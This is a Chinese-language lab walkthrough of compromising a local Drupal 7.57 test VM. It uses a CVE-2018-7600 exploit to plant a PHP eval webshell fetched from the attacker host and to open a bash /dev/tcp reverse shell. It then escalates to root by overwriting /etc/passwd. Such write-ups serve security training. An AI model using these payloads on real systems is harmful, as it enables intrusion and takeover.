靶场IP:192.168.188.135
kali本机IP:192.168.188.128
一、前期准备
启动靶场环境后使用IP扫描时可能会有扫不不到靶机IP的情况,解决方法如下:
1.重启环境时一直按住shift键,进入页面后按e进入配置页面,修改成下图所示:ro -> rw signie init=/bin/bash
修改完成之后Ctrl+x,进入页面
进入页面后先来查询一下IP,发现查不到,先记住网卡名称,修改配置信息
vim /etc/network/interfaces 看一下配置信息用的是哪一个网卡,把这两个都改成 ens33
然后/etc/init.d/networking restart 重启网卡服务
二、信息收集
进入kali,首先查看本地IP:192.168.188.128
使用nmap扫描一下IP段,查看靶机IP nmap -sn 192.168.188.0/24
拿到靶机IP首先来扫一下开放的端口 nmap -sV -sC -A 192.168.288.135
,发现开放了22端口和80端口
成功访问
接着扫一下目录,使用dirsearch python dirsearch.py -u [http://192.168.188.135/](http://192.168.188.135/)
,得到一个drupal目录
成功访问到drupal目录
看起来像是一套CMS,在搜索后证实drupal确实是一套使用PHP写的开源框架,接着我们需要知道他的版本信息,通过搜索发现在CHANGELOG.txt中可以查看版本信息
访问到CHANGELOG.txt中查看到,此版本为7.57
同时也可以使用插件来查看他的框架,CMS为Drupal版本为7
三、漏洞利用
知道版本信息后,在网上找到对应exp
直接git clone
可以使用一些命令利用exp可以执行系统命令
可以查看当前目录下,
四、一句化木马
在本地写入一句话木马
<?php @eval($_POST['123']);?>python脚本开启一个端口服务 python3 -m http.server 8000
之后输入命令<font style="color:rgb(68, 68, 68);">python drupa7-CVE-2018-7600.py http://192.168.188.135/drupal/ -c "wget http://192.168.188.128:8000/shell.php"</font>
这里忘记截图了
完成后查看一下靶机目录,检查shell.php有没有成功写入<font style="color:rgb(68, 68, 68);">python3 drupa7-CVE-2018-7600.py </font>[http://192.168.188.135/drupal/](http://192.168.188.135/drupal/)<font style="color:rgb(68, 68, 68);"> -c ls </font>
python3 drupa7-CVE-2018-7600.py [http://192.168.188.135/drupal/](http://192.168.188.135/drupal/) -c "cat shell.php"
使用蚁键连接成功
五、反弹shell
kali开启监听 nc -lvvp 8888
利用exp对靶机进行nc连接<font style="color:rgb(68, 68, 68);">python drupa7-CVE-2018-7600.py http://192.168.188.135/drupal/ -c "/bin/bash -c 'sh -i >& /dev/tcp/192.168.188.128/8888 0>&1'"</font>
获取模拟终端<font style="color:rgb(68, 68, 68);">python3 -c "import pty;pty.spawn('/bin/bash')"</font>
成功getshell
拿到shell后我们就可以查看一些敏感文件了cat ../../../../etc/passwd
,在文件中发现刚进入页面时的james
查看一下james的主目录下有什么,看到了一个user.txt,看看里面是什么内容。发现james是一个普通用户,在这里也拿到了第一个flag
这里就没有什么东西了,我们在上级目录再翻翻有什么。
到上级目录查看这个alexander.txt内容是发现是一串加密的字符串,看后面有两个等号判断是base64加密
加密一下,发现是一串奇怪的符号,在网上查了一下是Brainfuck/OoK加密
Brainfuck/OoK解密后是james的密码,那么我们就可以尝试切换到james用户
发现不能进行切换,那我们就可以换一个思路,可以直接添加一个高权限用户
六、提权
find / -perm -u=s -type f 2>/dev/null
整个命令的作用是从根目录开始搜索所有文件,查找那些具有 SUID 权限位的文件,并且忽略任何可能的错误消息。SUID 权限位对于安全性来说非常重要,因为它允许程序在运行时以文件所有者的权限运行,通常用于特权操作。
SUID(Set User ID)位允许一个程序以文件所有者的权限运行,而不是运行该程序的用户的权限。如果一个文件设置了 SUID 位,普通用户执行该程序时会获得文件所有者的权限,通常是 root 权限。
先创建一个用户openssl passwd -1 -salt fff 123456
下面是密码md5加密后的值
我们在本地创建一个passwd将新用户添加上并附上root权限之后使用wget进行下载覆盖原本的passwd,我们就可以使用创建的root用户进行登录
格式解释如下
创建好后使用wget进行下载
下载完成后查看一下,的确是我们修改过后的文件
现在就可以切换到创建的用户
就可以切换到root权限用户啦